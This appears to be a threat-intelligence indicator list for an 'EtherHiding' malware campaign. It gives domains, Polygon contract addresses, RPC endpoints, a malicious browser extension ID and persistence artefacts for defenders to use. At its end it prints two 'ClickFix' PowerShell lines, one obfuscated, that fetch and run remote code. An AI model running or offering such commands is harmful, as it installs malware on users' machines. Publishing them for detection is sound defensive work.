Etherhiding Exposed What Security Leaders Need To Know

3262d48df5d75e34[.]shop ddcd62e16a428c8e[.]shop hivinest[.]online Delivery Domains

45a3158594d6ba76[.]fun 82d35f9b891c987a[.]fun 9082b2a18f2e00fe[.]fun 67b3ac3e45812153[.]fun Folfdighdd[.]xyz Cleearpeyak[.]online

Supporting Infrastructure

Onemm[.]net (build/staging; origin IP: 37.27.52[.]152 )

→ origin server confirmed running 7 CISA KEV-listed CVEs ( CVE-2023-4911, CVE-2023-0386, CVE-2022-2586, CVE-2023-44487 , plus 2 recent 2026 entries); also carries CVE-2024-6387 (regreSSHion) in the broader vulnerability list

Additionalver[.]com (traffic distribution)

promo-chatgpt[.]com (traffic distribution)

pleasewaitcenter[.]top (traffic distribution)

skaybolt[.]online (traffic distribution

lanhd6549tdhse[.]top (traffic distribution)

Browser-Extension Web-Inject Panels

Purplepencel[.]online (banking/crypto web-inject config panel)

Detsigen[.]site (banking/crypto web-inject config panel)

0xd802C9427ce416B9DAb2db5aDD76EfAA6d9d826a

0x6a6e177dcf992ac16f7367c14b26a3cf4775dfde

0xde2d34339c279a7a79bc4fc1c4f37d3c055211b7

0xa982e044217b6bbaa7b3123b670c1c0ca1138a37 (sibling contract, Wallet 1)

0x308e9ecc849533a042f13fd77e5c82ec3c62e9f2 (first of 13 contracts deployed by Wallet 2)

Event Topic (for monitoring)

0x868f5f914e26b486c50b15494d56c6b2f2f17f6514343909bd36a034c19452cc

Polygon RPC Endpoints

polygon-bor-rpc.publicnode[.]com

polygon.publicnode[.]com

polygon.gateway.tenderly[.]co

gateway.tenderly[.]co/public/polygon

polygon.api.onfinality[.]io/public

polygon.rpc.subquery[.]network/public

Registry value: PersonalizedUpdates (under HKCU:\…\Run )

Scheduled task: “Enter” (1-minute cadence)

Victim fingerprint: reads MachineGuid from HKLM:\SOFTWARE\Microsoft\Cryptography

Malicious browser extension ID: bpknfkhjjbjgagobdaekmnlgdhbbpcea (observed under multiple cosmetic display names; the ID itself is the durable indicator)

Native messaging host name: com.top[.]index

ClickFix invocation, variant 1: $a=”1i1e1x2i1r1m1″ -replace 1 -split 2;&$a[0](&$a[1] / ); used with veruisuealx.xyz

ClickFix invocation, variant 2: $a=irm / ;[System.Management.Automation.PowerShell]::Create().AddScript($a).Invoke() used with truieparth[.]online